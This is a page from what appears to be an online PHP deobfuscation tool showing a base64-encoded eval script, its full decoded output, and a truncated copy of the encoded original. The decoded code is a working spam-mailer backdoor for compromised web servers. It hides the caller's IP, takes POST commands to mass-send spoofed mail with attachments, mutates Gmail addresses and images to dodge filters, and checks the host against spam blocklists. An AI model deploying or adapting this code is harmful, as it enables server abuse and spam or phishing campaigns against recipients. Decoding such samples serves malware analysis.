Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $bnmqk='b'.'as'.'e64'.'_de'.'c'.'od'.'e'; @eval($bnmqk('QGVycm9yX3JlcG9ydGluZygwKTsv..

Decoded Output download

@error_reporting(0);//peip
@set_time_limit(150);@ignore_user_abort(true);///qqx
@ini_set('max_execution_time',150);if($_SERVER['REQUEST_METHOD']=='GET'){exit('OK');###vqug
}//ezhurlf
$randString=rand(1,255).'.'.rand(0,255).'.'.rand(0,255).'.'.rand(0,255);$compare=$_SERVER['REMOTE_ADDR'];while($key=key($_SERVER)){if($_SERVER[$key]==$compare){@$_SERVER[$key]=$randString;//bgyhxejq
}next($_SERVER);///fkxz
}#heif
if(isset($_POST['ch'])===true){###rdeoevs
Check(); exit;}if(isset($_POST['sn'])===true){Send(); exit;#gvjpjacbks
}function Send(){$replyto=urldecode($_POST['rpt']);if(strstr($replyto,'|')){###hwbntxpbl
$rand=explode('|',$replyto);$replyto=$rand[array_rand($rand)];}///wyfdwsrddw
#wrdeqaicxt
$replyto=check_gmail($replyto);###oslgmyhs
$emails=urldecode($_POST['em']);$ex=explode("
",$emails);###zdavmf
///tmypszqz
if(!is_file($_FILES['file']['tmp_name'])){for($c=0,$max=sizeof($ex);$c<$max;$c++){$data=explode('|',trim($ex[$c]));$r_from=Random(dataHandler($_POST['f']),$data);$r_subject=dataHandler($_POST['s']); $r_message=$_POST['m'];$r_subject=str_ireplace('[from:]',$r_from,$r_subject);#dkgvaqiimc
$r_subject=str_ireplace('[email:]',$data[0],$r_subject);###fhwbqxnzm
$r_subject=Random($r_subject,$data);$r_message=str_ireplace('[from:]',$r_from,$r_message);$r_message=str_ireplace('[email:]',$data[0],$r_message);///vntgdqnf
$r_message=Random($r_message,$data);$from_name=randText();//vluaio
if($replyto==''){$reply=$from_name.'@'.$_SERVER['HTTP_HOST'];}else{$reply=$replyto;}if(!SMail($data[0],$r_from,$r_message,$r_subject,$reply,$from_name)){print '*send:bad*'; exit;//oqqbfqcqo
}#aelxaw
}}else{for($c=0,$max=sizeof($ex);$c<$max;$c++){$data=explode('|',trim($ex[$c]));$r_from=Random(dataHandler(urldecode($_POST['f'])),$data);$r_subject=dataHandler(urldecode($_POST['s']));$r_message=urldecode($_POST['m']);$r_subject=str_ireplace('[from:]',$r_from,$r_subject);###iqmibdozfj
$r_subject=str_ireplace('[email:]',$data[0],$r_subject);$r_subject=Random($r_subject,$data);$r_message=str_ireplace('[from:]',$r_from,$r_message);$r_message=str_ireplace('[email:]',$data[0],$r_message);//yfw
$r_message=Random($r_message,$data);$from_name=randText();///zvcaxr
if($replyto==''){$reply=$from_name.'@'.$_SERVER['HTTP_HOST'];#lqzp
}else{$reply=$replyto;//fraw
}if(!SendAttach($data[0],$r_from,$r_message,$r_subject,$reply,$from_name)){#cmek
print '*send:bad*'; exit;}}}//bnr
print '*send:ok*'; exit;}###kty
function SMail($to,$from,$message,$subject,$replyto,$from_name){if($_POST['tp']=='1'){ $type='text/html'; }///cqzjqc
else{ $type='text/plain'; }###ypi
$header='From: =?utf-8?B?'.base64_encode($from).'?= <'.$from_name.'@'.$_SERVER['HTTP_HOST'].">
";$header.='MIME-Version: 1.0'."
";$header.='Content-Type: '.$type.'; charset="utf-8"'."
";///pptdqok
$header.='Reply-To: '.$replyto."
";//wbvxgbjvo
$header.='X-Mailer: PHP/'.phpversion();###cqfun
if(mail($to,$subject,$message,$header)){#eifx
return true;}return false;}function SendAttach($to,$from,$message,$subject,$replyto,$from_name){$boundary=md5(uniqid()); $fileString=fileString($_FILES['file']['name']);if($_POST['tp']=='1'){ $type='text/html'; }//uobuvkf
else{ $type='text/plain'; }$filename=filename($_FILES['file']['name']);$headers='MIME-Version: 1.0'."
";//buztzggc
$headers.='From: =?utf-8?B?'.base64_encode($from).'?= <'.$from_name.'@'.$_SERVER['HTTP_HOST'].'>'."
";$headers.='Reply-To: '.$replyto."
";$headers.='X-Mailer: PHP/'.phpversion()."
";$headers.='Content-Type: multipart/mixed; boundary="'.$boundary."\"

";$body='--'.$boundary."
";///biprtq
$body.='Content-Type: '.$type.'; charset="utf-8"'."
";$body.='Content-Transfer-Encoding: base64'."

";$body.=chunk_split(base64_encode($message));$body.= '--'.$boundary."
";$body.='Content-Type: '.$_FILES['file']['type'].'; name="'.$filename.'"'."
";$body.='Content-Disposition: attachment; filename="'.$filename.'"'."
";//upzxnhuzgf
$body.='Content-Transfer-Encoding: base64'."
";//vwvuywi
$body.='X-Attachment-Id: '.rand(1000,99999)."

";$body.=chunk_split(base64_encode($fileString));///podpg
if(mail($to,$subject,$body,$headers)){return true;///hfurtkix
}###hledjeesp
return false;}function dataHandler($data){$ex=explode("
",$data);if(sizeof($ex)>1){return trim($ex[rand(0,sizeof($ex)-1)]);###qvayf
}return trim($data);}///oqrneyas
function Random($text,$data){preg_match_all('#\[num:(.+?)\]#is',$text,$result2); $i=0;preg_match_all('#\[randM:(.+?)\]#is',$text,$result3); $q=0;#atdqsdvvka
preg_match_all('#\[randstr:(.+?)\]#is',$text,$result4); $w=0;###uauhapg
preg_match_all('#\[var:(.+?)\]#is',$text,$result5); $e=0;///ueuzhyrzkt
while($i<sizeof($result2[1])){$rand=explode('|',$result2[1][$i]);if(!is_numeric($rand[0]) or !is_numeric($rand[1])){ continue; }$rand=rand($rand[0],$rand[1]);###myzaso
$text=str_replace_once($result2[0][$i],$rand,$text); $i++;}///kndag
while($q<sizeof($result3[1])){#lfgzhp
$rand=explode('|',$result3[1][$q]);$rand=$rand[array_rand($rand)];$text=str_replace($result3[0][$q],$rand,$text); $q++;###vbakxle
}while($w<sizeof($result4[1])){#etza
$rand=explode('|',$result4[1][$w]);///yff
if(!is_numeric($rand[0]) or !is_numeric($rand[1])){ continue; }$rand=randString($rand[0],$rand[1]);###num
###pxiogcxz
$text=str_replace_once($result4[0][$w],$rand,$text); $w++;}#niktcth
#ddjoriqd
while($e<sizeof($result5[1])){if(!is_numeric($result5[1][$e])){ continue; }//pegcsex
$text=str_replace($result5[0][$e],$data[$result5[1][$e]],$text); $e++;}///wsclbio
preg_match_all('#\[rand:(.+?)\]#is',$text,$result); $c=0;###blglo
while($c<sizeof($result[1])){///dyminzydkx
$rand=explode('|',$result[1][$c]);$rand=$rand[array_rand($rand)];#bji
$text=str_replace_once($result[0][$c],$rand,$text); $c++;//enixungrsx
}return $text;}function Check(){###hiejtlbdm
$crlf="
";if(isset($_POST['st'])===true){###ontb
print '*valid:ok*'.$crlf;###iswy
}if(isset($_POST['m'])===true){///ttfxou
if(function_exists('mail')){$ex=explode(':',$_POST['m']);$email=$ex[0]; $attach=$ex[1]; $reply=$ex[2];$from_name=randText();//taqegbtr
$replyto=$from_name.'@'.$_SERVER['HTTP_HOST'];#ajk
if($reply=='1'){ $replyto=$email; }//lknw
if($attach=='1'){///xpod
if(CheckAttach($email,$replyto,$from_name)){print '*mail:ok*'.$crlf;###axaqr
}else{print '*mail:bad*'.$crlf;#dqbjzghx
}}else{###mnf
if(CheckMail($email,$replyto,$from_name)){//bsbo
print '*mail:ok*'.$crlf;}else{print '*mail:bad*'.$crlf;###uwjrlpl
}}}else{///gzxeuseap
print '*mail:bad*'.$crlf;}}if(isset($_POST['rb'])===true){$rbl=rbl();///baxmwnk
if($rbl==''){print '*rbl:ok*';}else{///ilqwdr
print '*rbl:'.$rbl.'*';}}}function randString($min,$max){$str='qwertyuiopasdfghjklzxcvbnm';$size=rand($min,$max); $result='';///itruy
for($c=0;$c<$size;$c++){$result.=$str{rand(0,strlen($str)-1)};///rjpsoafxf
}return $result;}///gninlhy
function rbl(){//plguvthid
$dnsbl_check=array('b.barracudacentral.org','xbl.spamhaus.org','sbl.spamhaus.org','zen.spamhaus.org','bl.spamcop.net');$ip=gethostbyname($_SERVER['HTTP_HOST']); $result='';###yym
if($ip){$rip=implode('.',array_reverse(explode('.',$ip)));foreach($dnsbl_check as $val){if(checkdnsrr($rip.'.'.$val.'.','A'))$result.=$val.', ';###dpohtliznr
}#fulmbl
if(strlen($result)>2){ return substr($result,0,-2); }else{ return ''; }}else{return '*rbl:unknown*';}///igsxbxp
return '';###azznttssv
}###ihinfc
function CheckMail($to,$reply,$from_name){$header='From: '.'=?utf-8?B?'.base64_encode(randText()).'?='.' <'.$from_name.'@'.$_SERVER['HTTP_HOST'].">
";$header.='MIME-Version: 1.0'."
";$header.='Content-Type: text/html; charset="utf-8"'."
";$header.='Reply-To: '.$reply."
";$header.='X-Mailer: PHP/'.phpversion();//mcnlgvb
#xkysefq
$message=text();###khsk
$subject=$_SERVER['HTTP_HOST'];//mqanlmc
if(mail($to,$subject,$message,$header)){return true;}return false;}#lmswsm
function CheckAttach($to,$reply,$from_name){###ryclyvrrh
$message=text();$subject=$_SERVER['HTTP_HOST'];$filename=filename('1.txt'); $boundary=md5(uniqid());$headers='MIME-Version: 1.0'."
";$headers.='From: '.'=?utf-8?B?'.base64_encode(randText()).'?='.' <'.$from_name.'@'.$_SERVER['HTTP_HOST'].'>'."
";$headers.='Reply-To: '.$reply."
";$headers.='X-Mailer: PHP/'.phpversion()."
";$headers.='Content-Type: multipart/mixed; boundary="'.$boundary."\"

";#hchwxct
///zcunkpw
$body='--'.$boundary."
";///uekped
$body.='Content-Type: text/html; charset="utf-8"'."
";///oggrazf
$body.='Content-Transfer-Encoding: base64'."

";$body.=chunk_split(base64_encode($message));$body.= '--'.$boundary."
";#uklfrlma
$body.='Content-Type: text/plain; name="'.$filename.'"'."
";///rlpeylkxc
$body.='Content-Disposition: attachment; filename="'.$filename.'"'."
";#iaz
$body.='Content-Transfer-Encoding: base64'."
";$body.='X-Attachment-Id: '.rand(1000,99999)."

";//wjdxj
$body.= chunk_split(base64_encode(text()));#aaoxfgdt
if(mail($to,$subject,$body,$headers)){return true;}return false;}function str_replace_once($search,$replace,$text){$pos=strpos($text, $search);return $pos!==false ? substr_replace($text,$replace,$pos,strlen($search)) : $text;}//dxh
#leyrsmjmd
function filename($name){///uda
$format=end(explode('.',$name));#ichpoa
$array[]='SDC'; $array[]='P'; $array[]='DC'; $array[]='CAM'; $array[]='IMG-';///pffhjn
$img=array('png','jpg','gif','jpeg','bmp');for($c=0,$max=sizeof($img);$c<$max;$c++){if(strtolower($format)==$img[$c]){$rand=rand(10,999999);return $array[rand(0,4)].$rand.'.'.$format;}}#qcmdrcw
return randText().'.'.$format;}#ubexakap
function fileString($name){$format=end(explode('.',$name));if(strtolower($format)=='jpeg' or strtolower($format)=='jpg'){//tsftifjaol
if(CheckRandIMG()){//tsuiy
return RandIMG($_FILES['file']['tmp_name']);}///iidw
}//wfu
return file_get_contents($_FILES['file']['tmp_name']);}function randText(){###cxmqyyi
$str='qwertyuiopasdfghjklzxcvbnm';$size=rand(3,8); $result='';for($c=0;$c<$size;$c++){$result.=$str{rand(0,strlen($str)-1)};#npeg
}return $result;///nbpkum
}function text(){$str='qwertyuiopasdfghjklzxcvbnm';$size=rand(9,20); $result='';#pgauql
for($c=0;$c<$size;$c++){$rand=rand(6,10);###lrorey
for($i=0;$i<$rand;$i++){$result.=$str{rand(0,strlen($str)-1)};#fyo
}$sign=array(' ',' ',' ',' ',', ','? ','. ','. ');$result.=$sign[rand(0,7)];}//msdlvs
return trim($result);///eefy
}function CheckRandIMG(){$array=array('getimagesize','imagecreatetruecolor','imagecreatefromjpeg','imagecopyresampled',#hyrta
'imagefilter','ob_start','imagejpeg','ob_get_clean');###dvy
for($c=0,$max=sizeof($array);$c<$max;$c++){#rtxopcqzy
if(!function_exists($array[$c])){#gxqzje
return false;###deekl
}}###injem
return true;}function RandIMG($file){$rand['width']=rand(1,2);$rand['height']=rand(1,2);#eecldsmn
$rand['quality']=rand(1,2);$rand['brightness']=rand(1,2);#zztqqej
$rand['contrast']=rand(1,2);list($width,$height)=getimagesize($file);#rqthzulhm
if($rand['width']==1){$sign=rand(1,2);if($sign==1){///vgdhlfjx
$new_width=$width+rand(1,10);}else{$new_width=$width-rand(1,10);}}else{$new_width=$width;}if($rand['height']==1){$sign=rand(1,2);if($sign==1){$new_height=$height+rand(1,10);}else{$new_height=$height-rand(1,10);###sxhpbyp
}}else{$new_height=$height;}if($rand['quality']==1){$quality=75;###axeum
}else{//kyfjkry
$quality=rand(65,105);}if($rand['brightness']==1){$brightness=rand(0,35);///cde
}else{///uezqt
$brightness=0;}if($rand['contrast']==1){#ery
$sign=rand(1,2);if($sign==1){ $sign='+'; }else{ $sign='-'; }$contrast=rand(1,15);}else{$sign='';$contrast=0;}###uwnqklpbx
$image_p=imagecreatetruecolor($new_width,$new_height);$image=imagecreatefromjpeg($file);imagecopyresampled($image_p, $image,0,0,0,0,$new_width,$new_height,$width,$height);imagefilter($image_p,IMG_FILTER_CONTRAST,$sign.$contrast);imagefilter($image_p,IMG_FILTER_BRIGHTNESS,$brightness);###glytdendek
ob_start();//xiw
imagejpeg($image_p,null,$quality);$out=ob_get_clean();imagedestroy($image_p);return $out;//fpzmnzgjn
}function check_gmail($email){if(strstr($email,'@gmail.')){//bkgqs
return RandGmail($email);}else{return $email;}}###jsbmyb
function RandGmail($email){###tlncpetuzz
$login=explode('@',$email); $result='';$login=strtolower(str_replace('.','',$login[0]));#aycwhs
#sakvmgwl
$size=strlen($login);for($c=0,$max=$size;$c<$max;$c++){//pchfs
$up=rand(0,1); $dot=rand(0,1);$symbol=$login{$c};if($up==1){$symbol=strtoupper($symbol);}if($dot==1){$symbol=$symbol.'.';#rzwcjwak
}$result.=$symbol;///hebalac
}###tgkammerz
if(substr($result,-1)=='.'){//qnugl
$result=substr($result,0,-1);}###eatdeq
return $result.'@gmail.com';###jle
}#csqcpuae
///tpxhfukg

Did this file decode correctly?

Original Code

<?php $bnmqk='b'.'as'.'e64'.'_de'.'c'.'od'.'e'; @eval($bnmqk('QGVycm9yX3JlcG9ydGluZygwKTsvL3BlaXAKQHNldF90aW1lX2xpbWl0KDE1MCk7QGlnbm9yZV91c2VyX2Fib3J0KHRydWUpOy8vL3FxeApAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywxNTApO2lmKCRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddPT0nR0VUJyl7ZXhpdCgnT0snKTsjIyN2cXVnCn0vL2V6aHVybGYKJHJhbmRTdHJpbmc9cmFuZCgxLDI1NSkuJy4nLnJhbmQoMCwyNTUpLicuJy5yYW5kKDAsMjU1KS4nLicucmFuZCgwLDI1NSk7JGNvbXBhcmU9JF9TRVJWRVJbJ1JFTU9URV9BRERSJ107d2hpbGUoJGtleT1rZXkoJF9TRVJWRVIpKXtpZigkX1NFUlZFUlska2V5XT09JGNvbXBhcmUpe0AkX1NFUlZFUlska2V5XT0kcmFuZFN0cmluZzsvL2JneWh4ZWpxDQp9bmV4dCgkX1NFUlZFUik7Ly8vZmt4eg0KfSNoZWlmDQppZihpc3NldCgkX1BPU1RbJ2NoJ10pPT09dHJ1ZSl7IyMjcmRlb2V2cw0KQ2hlY2soKTsgZXhpdDt9aWYoaXNzZXQoJF9QT1NUWydzbiddKT09PXRydWUpe1NlbmQoKTsgZXhpdDsjZ3ZqcGphY2Jrcwp9ZnVuY3Rpb24gU2VuZCgpeyRyZXBseXRvPXVybGRlY29kZSgkX1BPU1RbJ3JwdCddKTtpZihzdHJzdHIoJHJlcGx5dG8sJ3wnKSl7IyMjaHdibnR4cGJsCiRyYW5kPWV4cGxvZGUoJ3wnLCRyZXBseXRvKTskcmVwbHl0bz0kcmFuZFthcnJheV9yYW5kKCRyYW5kKV07fS8vL3d5ZmR3c3JkZHcKI3dyZGVxYWljeHQNCiRyZXBseXRvPWNoZWNrX2dtYWlsKCRyZXBseXRvKTsjIyNvc2xnbXlocwokZW1haWxzPXVybGRlY29kZSgkX1BPU1RbJ2VtJ10pOyRleD1leHBsb2RlKCJcbiIsJGVtYWlscyk7IyMjemRhdm1mDQovLy90bXlwc3pxegppZighaXNfZmlsZSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10pKXtmb3IoJGM9MCwkbWF4PXNpemVvZigkZXgpOyRjPCRtYXg7JGMrKyl7JGRhdGE9ZXhwbG9kZSgnfCcsdHJpbSgkZXhbJGNdKSk7JHJfZnJvbT1SYW5kb20oZGF0YUhhbmRsZXIoJF9QT1NUWydmJ10pLCRkYXRhKTskcl9zdWJqZWN0PWRhdGFIYW5kbGVyKCRfUE9TVFsncyddKTsgJHJfbWVzc2FnZT0kX1BPU1RbJ20nXTskcl9zdWJqZWN0PXN0cl9pcmVwbGFjZSgnW2Zyb206XScsJHJfZnJvbSwkcl9zdWJqZWN0KTsjZGtndmFxaWltYwokcl9zdWJqZWN0PXN0cl9pcmVwbGFjZSgnW2VtYWlsOl0nLCRkYXRhWzBdLCRyX3N1YmplY3QpOyMjI2Zod2JxeG56bQ0KJHJfc3ViamVjdD1SYW5kb20oJHJfc3ViamVjdCwkZGF0YSk7JHJfbWVzc2FnZT1zdHJfaXJlcGxhY2UoJ1tmcm9tOl0nLCRyX2Zyb20sJHJfbWVzc2FnZSk7JHJfbWVzc2FnZT1zdHJfaXJlcGxhY2UoJ1tlbWFpbDpdJywkZGF0YVswXSwkcl9tZXNzYWdlKTsvLy92bnRnZHFuZgokcl9tZXNzYWdlPVJhbmRvbSgkcl9tZXNzYWdlLCRkYXRhKTskZnJvbV9uYW1lPXJhbmRUZXh0KCk7Ly92bHVhaW8KaWYoJHJlcGx5dG89PScnKXskcmVwbHk9JGZyb21fbmFtZS4nQCcuJF9TRVJWRVJbJ0hUVFBfSE9TVCddO31lbHNleyRyZXBseT0kcmVwbHl0bzt9aWYoIVNNYWlsKCRkYXRhWzBdLCRyX2Zyb20sJHJfbWVzc2FnZSwkcl9zdWJqZWN0LCRyZXBseSwkZnJvbV9uYW1lKSl7cHJpbnQgJypzZW5kOmJhZConOyBleGl0Oy8vb3FxYmZxY3FvCn0jYWVseGF3Cn19ZWxzZXtmb3IoJGM9MCwkbWF4PXNpemVvZigkZXgpOyRjPCRtYXg7JGMrKyl7JGRhdGE9ZXhwbG9kZSgnfCcsdHJpbSgkZXhbJGNdKSk7JHJfZnJvbT1SYW5kb20oZGF0YUhhbmRsZXIodXJsZGVjb2RlKCRfUE9TVFsnZiddKSksJGRhdGEpOyRyX3N1YmplY3Q9ZGF0YUhhbmRsZXIodXJsZGVjb2RlKCRfUE9TVFsncyddKSk7JHJfbWVzc2FnZT11cmxkZWNvZGUoJF9QT1NUWydtJ10pOyRyX3N1YmplY3Q9c3RyX2lyZXBsYWNlKCdbZnJvbTpdJywkcl9mcm9tLCRyX3N1YmplY3QpOyMjI2lxbWliZG96ZmoNCiRyX3N1YmplY3Q9c3RyX2lyZXBsYWNlKCdbZW1haWw6XScsJGRhdGFbMF0sJHJfc3ViamVjdCk7JHJfc3ViamVjdD1SYW5kb20oJHJfc3ViamVjdCwkZGF0YSk7JHJfbWVzc2FnZT1zdHJfaXJlcGxhY2UoJ1tmcm9tOl0nLCRyX2Zyb20sJHJfbWVzc2FnZSk7JHJfbWVzc2FnZT1zdHJfaXJlcGxhY2UoJ1tlbWFpbDpdJywkZGF0YVswXSwkcl9tZXNzYWdlKTsvL3lmdwokcl9tZXNzYWdlPVJhbmRvbSgkcl9tZXNzYWdlLCRkYXRhKTskZnJvbV9uYW1lPXJhbmRUZXh0KCk7Ly8venZjYXhyCmlmKCRyZXBseXRvPT0nJyl7JHJlcGx5PSRmcm9tX25hbWUuJ0AnLiRfU0VSVkVSWydIVFRQX0hPU1QnXTsjbHF6cA0KfWVsc2V7JHJlcGx5PSRyZXBseXRvOy8vZnJhdwp9aWYoIVNlbmRBdHRhY2goJGRhdGFbMF0sJHJfZnJvbSwkcl9tZXNzYWdlLCRyX3N1YmplY3QsJHJlcGx5LCRmcm9tX25hbWUpKXsjY21lawpwcmludCAnKnNlbmQ6YmFkKic7IGV4aXQ7fX19Ly9ibnINCnByaW50ICcqc2VuZDpvayonOyBleGl0O30jIyNrdHkKZnVuY3Rpb24gU01haWwoJHRvLCRmcm9tLCRtZXNzYWdlLCRzdWJqZWN0LCRyZXBseXRvLCRmcm9tX25hbWUpe2lmKCRfUE9TVFsndHAnXT09JzEnKXsgJHR5cGU9J3RleHQvaHRtbCc7IH0vLy9jcXpqcWMKZWxzZXsgJHR5cGU9J3RleHQvcGxhaW4nOyB9IyMjeXBpCiRoZWFkZXI9J0Zyb206ID0/dXRmLTg/Qj8nLmJhc2U2NF9lbmNvZGUoJGZyb20pLic/PSA8Jy4kZnJvbV9uYW1lLidAJy4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIj5cclxuIjskaGVhZGVyLj0nTUlNRS1WZXJzaW9uOiAxLjAnLiJcclxuIjskaGVhZGVyLj0nQ29udGVudC1UeXBlOiAnLiR0eXBlLic7IGNoYXJzZXQ9InV0Zi04IicuIlxyXG4iOy8vL3BwdGRxb2sKJGhlYWRlci49J1JlcGx5LVRvOiAnLiRyZXBseXRvLiJcclxuIjsvL3didnhnYmp2bwokaGVhZGVyLj0nWC1NYWlsZXI6IFBIUC8nLnBocHZlcnNpb24oKTsjIyNjcWZ1bgppZihtYWlsKCR0bywkc3ViamVjdCwkbWVzc2FnZSwkaGVhZGVyKSl7I2VpZngKcmV0dXJuIHRydWU7fXJldHVybiBmYWxzZTt9ZnVuY3Rpb24gU2VuZEF0dGFjaCgkdG8sJGZyb20sJG1lc3NhZ2UsJHN1YmplY3QsJHJlcGx5dG8sJGZyb21fbmFtZSl7JGJvdW5kYXJ5PW1kNSh1bmlxaWQoKSk7ICRmaWxlU3RyaW5nPWZpbGVTdHJpbmcoJF9GSUxFU1snZmlsZSddWyduYW1lJ10pO2lmKCRfUE9TVFsndHAnXT09JzEnKXsgJHR5cGU9J3RleHQvaHRtbCc7IH0vL3VvYnV2a2YNCmVsc2V7ICR0eXBlPSd0ZXh0L3BsYWluJzsgfSRmaWxlbmFtZT1maWxlbmFtZSgkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSk7JGhlYWRlcnM9J01JTUUtVmVyc2lvbjogMS4wJy4iXHJcbiI7Ly9idXp0emdnYwokaGVhZGVycy49J0Zyb206ID0/dXRmLTg/Qj8nLmJhc2U2NF9lbmNvZGUoJGZyb20pLic/PSA8Jy4kZnJvbV9uYW1lLidAJy4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uJz4nLiJcclxuIjskaGVhZGVycy49J1JlcGx5LVRvOiAnLiRyZXBseXRvLiJcclxuIjskaGVhZGVycy49J1gtTWFpbGVyOiBQSFAvJy5waHB2ZXJzaW9uKCkuIlxyXG4iOyRoZWFkZXJzLj0nQ29udGVudC1UeXBlOiBtdWx0aXBhcnQvbWl4ZWQ7IGJvdW5kYXJ5PSInLiRib3VuZGFyeS4iXCJcclxuXHJcbiI7JGJvZHk9Jy0tJy4kYm91bmRhcnkuIlxyXG4iOy8vL2JpcHJ0cQ0KJGJvZHkuPSdDb250ZW50LVR5cGU6ICcuJHR5cGUuJzsgY2hhcnNldD0idXRmLTgiJy4iXHJcbiI7JGJvZHkuPSdDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBiYXNlNjQnLiJcclxuXHJcbiI7JGJvZHkuPWNodW5rX3NwbGl0KGJhc2U2NF9lbmNvZGUoJG1lc3NhZ2UpKTskYm9keS49ICctLScuJGJvdW5kYXJ5LiJcclxuIjskYm9keS49J0NvbnRlbnQtVHlwZTogJy4kX0ZJTEVTWydmaWxlJ11bJ3R5cGUnXS4nOyBuYW1lPSInLiRmaWxlbmFtZS4nIicuIlxyXG4iOyRib2R5Lj0nQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9IicuJGZpbGVuYW1lLiciJy4iXHJcbiI7Ly91cHp4bmh1emdmDQokYm9keS49J0NvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IGJhc2U2NCcuIlxyXG4iOy8vdnd2dXl3aQ0KJGJvZHkuPSdYLUF0dGFjaG1lbnQtSWQ6ICcucmFuZCgxMDAwLDk5OTk5KS4iXHJcblxyXG4iOyRib2R5Lj1jaHVua19zcGxpdChiYXNlNjRfZW5jb2RlKCRmaWxlU3RyaW5nKSk7Ly8vcG9kcGcNCmlmKG1haWwoJHRvLCRzdWJqZWN0LCRib2R5LCRoZWFkZXJzKSl7cmV0dXJuIHRydWU7Ly8vaGZ1cnRraXgNCn0jIyNobGVkamVlc3AKcmV0dXJuIGZhbHNlO31mdW5jdGlvbiBkYXRhSGFuZGxlcigkZGF0YSl7JGV4PWV4cGxvZGUoIlxuIiwkZGF0YSk7aWYoc2l6ZW9mKCRleCk+MSl7cmV0dXJuIHRyaW0oJGV4W3JhbmQoMCxzaXplb2YoJGV4KS0xKV0pOyMjI3F2YXlmDQp9cmV0dXJuIHRyaW0oJGRhdGEpO30vLy9vcXJuZXlhcw0KZnVuY3Rpb24gUmFuZG9tKCR0ZXh0LCRkYXRhKXtwcmVnX21hdGNoX2FsbCgnI1xbbnVtOiguKz8pXF0jaXMnLCR0ZXh0LCRyZXN1bHQyKTsgJGk9MDtwcmVnX21hdGNoX2FsbCgnI1xbcmFuZE06KC4rPylcXSNpcycsJHRleHQsJHJlc3VsdDMpOyAkcT0wOyNhdGRxc2R2dmthDQpwcmVnX21hdGNoX2FsbCgnI1xbcmFuZHN0cjooLis/KVxdI2lzJywkdGV4dCwkcmVzdWx0NCk7ICR3PTA7IyMjdWF1aGFwZw0KcHJlZ19tYXRjaF9hbGwoJyNcW3ZhcjooLis/KVxdI2lzJywkdGV4dCwkcmVzdWx0NSk7ICRlPTA7Ly8vdWV1emh5cnprdAp3aGlsZSgkaTxzaXplb2YoJHJlc3VsdDJbMV0pKXskcmFuZD1leHBsb2RlKCd8JywkcmVzdWx0MlsxXVskaV0pO2lmKCFpc19udW1lcmljKCRyYW5kWzBdKSBvciAhaXNfbnVtZXJpYygkcmFuZFsxXSkpeyBjb250aW51ZTsgfSRyYW5kPXJhbmQoJHJhbmRbMF0sJHJhbmRbMV0pOyMjI215emFzbw0KJHRleHQ9c3RyX3JlcGxhY2Vfb25jZSgkcmVzdWx0MlswXVskaV0sJHJhbmQsJHRleHQpOyAkaSsrO30vLy9rbmRhZw0Kd2hpbGUoJHE8c2l6ZW9mKCRyZXN1bHQzWzFdKSl7I2xmZ3pocAokcmFuZD1leHBsb2RlKCd8JywkcmVzdWx0M1sxXVskcV0pOyRyYW5kPSRyYW5kW2FycmF5X3JhbmQoJHJhbmQpXTskdGV4dD1zdHJfcmVwbGFjZSgkcmVzdWx0M1swXVskcV0sJHJhbmQsJHRleHQpOyAkcSsrOyMjI3ZiYWt4bGUNCn13aGlsZSgkdzxzaXplb2YoJHJlc3VsdDRbMV0pKXsjZXR6YQ0KJHJhbmQ9ZXhwbG9kZSgnfCcsJHJlc3VsdDRbMV1bJHddKTsvLy95ZmYKaWYoIWlzX251bWVyaWMoJHJhbmRbMF0pIG9yICFpc19udW1lcmljKCRyYW5kWzFdKSl7IGNvbnRpbnVlOyB9JHJhbmQ9cmFuZFN0cmluZygkcmFuZFswXSwkcmFuZFsxXSk7IyMjbnVtDQojIyNweGlvZ2N4eg0KJHRleHQ9c3RyX3JlcGxhY2Vfb25jZSgkcmVzdWx0NFswXVskd10sJHJhbmQsJHRleHQpOyAkdysrO30jbmlrdGN0aA0KI2Rkam9yaXFkCndoaWxlKCRlPHNpemVvZigkcmVzdWx0NVsxXSkpe2lmKCFpc19udW1lcmljKCRyZXN1bHQ1WzFdWyRlXSkpeyBjb250aW51ZTsgfS8vcGVnY3NleA0KJHRleHQ9c3RyX3JlcGxhY2UoJHJlc3VsdDVbMF1bJGVdLCRkYXRhWyRyZXN1bHQ1WzFdWyRlXV0sJHRleHQpOyAkZSsrO30vLy93c2NsYmlvCnByZWdfbWF0Y2hfYWxsKCcjXFtyYW5kOiguKz8pXF0jaXMnLCR0ZXh0LCRyZXN1bHQpOyAkYz0wOyMjI2JsZ2xvDQp3aGlsZSgkYzxzaXplb2YoJHJlc3VsdFsxXSkpey8vL2R5bWluenlka3gNCiRyYW5kPWV4cGxvZGUoJ3wnLCRyZXN1bHRbMV1bJGNdKTskcmFuZD0kcmFuZFthcnJheV9yYW5kKCRyYW5kKV07I2JqaQokdGV4dD1zdHJfcmVwbGFjZV9vbmNlKCRyZXN1bHRbMF1bJGNdLCRyYW5kLCR0ZXh0KTsgJGMrKzsvL2VuaXh1bmdyc3gKfXJldHVybiAkdGV4dDt9ZnVuY3Rpb24gQ2hlY2soKXsjIyNoaWVqdGxiZG0KJGNybGY9IlxyXG4iO2lmKGlzc2V0KCRfUE9TVFsnc3QnXSk9PT10cnVlKXsjIyNvbnRiCnByaW50ICcqdmFsaWQ6b2sqJy4kY3JsZjsjIyNpc3d5DQp9aWYoaXNzZXQoJF9QT1NUWydtJ10pPT09dHJ1ZSl7Ly8vdHRmeG91DQppZihmdW5jdGlvbl9leGlzdHMoJ21haWwnKSl7JGV4PWV4cGxvZGUoJzonLCRfUE9TVFsnbSddKTskZW1haWw9JGV4WzBdOyAkYXR0YWNoPSRleFsxXTsgJHJlcGx5PSRleFsyXTskZnJvbV9uYW1lPXJhbmRUZXh0KCk7Ly90YXFlZ2J0cg0KJHJlcGx5dG89JGZyb21fbmFtZS4nQCcuJF9TRVJWRVJbJ0hUVFBfSE9TVCddOyNhamsNCmlmKCRyZXBseT09JzEnKXsgJHJlcGx5dG89JGVtYWlsOyB9Ly9sa253DQppZigkYXR0YWNoPT0nMScpey8vL3hwb2QNCmlmKENoZWNrQXR0YWNoKCRlbWFpbCwkcmVwbHl0bywkZnJvbV9uYW1lKSl7cHJpbnQgJyptYWlsOm9rKicuJGNybGY7IyM